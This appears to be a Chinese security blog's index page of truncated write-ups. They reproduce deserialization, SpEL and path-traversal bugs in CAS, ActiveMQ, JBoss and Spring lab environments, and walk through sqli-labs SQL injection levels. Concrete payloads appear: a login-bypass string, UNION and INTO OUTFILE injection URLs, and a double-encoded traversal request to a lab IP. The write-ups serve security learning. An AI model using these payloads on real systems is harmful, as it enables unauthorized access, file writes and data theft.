0%

漏洞详情

Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。

环境搭建

使用vulhub启动漏洞环境

1
2
cd /root/vulhub/apereo-cas/4.1-rce/
docker-compose up -d

环境启动后,访问http://your-ip:8080/cas/login即可查看到登录页面。

image

漏洞复现

漏洞原理是Webflow中使用了默认密钥changeit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class EncryptedTranscoder implements Transcoder {
private CipherBean cipherBean;
private boolean compression = true;

public EncryptedTranscoder() throws IOException {
BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
bufferedBlockCipherBean.setKeyAlias("aes128");
bufferedBlockCipherBean.setKeyPassword("changeit");
bufferedBlockCipherBean.setNonce(new RBGNonce());
this.setCipherBean(bufferedBlockCipherBean);
}

// ...
阅读全文 »

漏洞详情

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

漏洞环境

使用vulhub运行漏洞环境

1
2
cd vulhub/activemq/CVE-2015-5254/
docker-compose up -d

环境运行后,将监听616168161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问http://your-ip:8161即可看到web管理页面,不过这个漏洞理论上是不需要web的。

image

漏洞复现

漏洞利用过程如下:

阅读全文 »

漏洞描述

Red Hat JBoss Application Server是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation LayerHTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

漏洞环境

1
docker-compose up -d

环境启动后,目标为http://your-ip:8080

漏洞复现

访问/jbossmq-httpil/HTTPServerILServlet

返回This is the JBossMQ HTTP-IL,说明页面存在,此页面存在反序列化漏洞。

image

这里直接利用CVE-2017-12149生成的ser,发送到/jbossmq-httpil/HTTPServerILServlet接口中

阅读全文 »

漏洞描述

该漏洞为Java反序列化错误类型,存在于JbossHttpInvoker组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

影响版本

漏洞影响5.x和6.x版本的JBOSSAS

环境搭建

1
docker-compose up -d

首次执行时会有1~3分钟时间初始化,初始化完成后访问http://your-ip:8080/即可看到JBoss默认页面。

image

漏洞复现

访问/invoker/readonly,返回500,说明页面存在,此页面存在反序列化漏洞。

阅读全文 »

Less11

这一关开始使用post注入,什么是post注入呢?

就是数据从客户端提交
到服务器端,例如我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交,
提交到服务器后服务器再进行验证。这就是一次 post 的过程的。

当我们输入

1
2
username:admin'
Password:ddd(任意值)

image

显示错误了,可以从错误中分析到程序对参数进行单引号的处理。
这里我们可以在输入框输入万能密码来尝试一下。

这里username输入:admin'or'1'='1#,密码随意

image

返回的正确的结果,那么原因是什么呢?我们在background-1中已经其实提到了,逻辑运算的部分中已经讲解了原理。

阅读全文 »

Less8

经过简单的测试,发现'or 1=1--+返回结果正常,基本确定应该怎么注入了

image

这里查看源码可以看出,对sql报错进行了注释,那么采用报错注入就不行了

image

1
http://127.0.0.1/sqli-labs/Less-8/?id=1' union select 1,count(*),concat(0x3a,0x3a,(select user())),0x3a,0x3a,floor(rand(0)*2))a from information schema.columns group by a--+

image

如果报错注入可以使用的话是可以直接返回user()的,但是这里没有返回。

其他的payload参考less5直接进行注入即可

less9

阅读全文 »

Less7

本关利用文件导入的方式进行注入

查看源码,重点关注对id参数的处理和sql语句上,源代码如下:

1
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

这里对id参数进行了’))处理,所以可以尝试')) or 1=1--+进行注入

image

我们这里利用上述提到的文件导入的方式进行演示:

1
http://127.0.0.1/sqli-labs/Less-7/?id=1'))UNION SELECT 1,2,3 into outfile "D:\\phpStudy\\WWW\\sqli-labs\\Less-7\\1.txt"--+

image

上图中显示sql语句出错了,但是文件中可以看到1.txt已经生成了。

阅读全文 »

漏洞描述

Spring Cloud Config 为分布式系统中的外部配置提供服务器和客户端支持,使用 Config Server ,用户可以在所有环境中管理应用程序的外部属性。
近日,百度云安全团队监测到 Spring Cloud Config 官方发布了一个目录遍历漏洞的风险通告,漏洞编号为 CVE-2020-5410 。攻击者可通过构造特殊的 HTTP 请求,从而跨目录读取文件。

影响版本

2.2.x<=2.2.2 2.1.x<=2.1.8

环境搭建

使用vulfocus启动漏洞环境

image

漏洞复现

直接访问
http://47.101.62.20:48259/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Ftmp%23foo/development

image

阅读全文 »

漏洞描述

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

影响版本

Spring Data Commons 1.13 - 1.13.10(Ingalls SR10)

Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)

Spring Data Commons 2.0 - 2.0.5 (Kay SR5)

Spring Data REST 3.0 - 3.0.5 (Kay SR5)

已不支持的旧版本

环境搭建

1
2
cd /vulhub/spring/CVE-2018-1273/
docker-compose up -d
阅读全文 »

漏洞描述

Spring Data REST是Spring Data项目的一部分,可以轻松地在Spring Data存储库之上构建超媒体驱动的REST Web服务。

恶意的PATCH请求使用精心构造的JSON数据提交到spring-data-rest服务可以执行任意JAVA代码

影响版本

Spring Data REST versions prior to 2.5.12, 2.6.7, 3.0 RC3

可以查看spring-data-rest-webmvc jar包的版本

环境搭建

1
2
cd /vulhub/spring/CVE-2017-8046/
docker-compose up -d

等待环境启动完成,然后访问http://your-ip:8080/即可看到json格式的返回值,说明这是一个Restful风格的API服务器。

image

阅读全文 »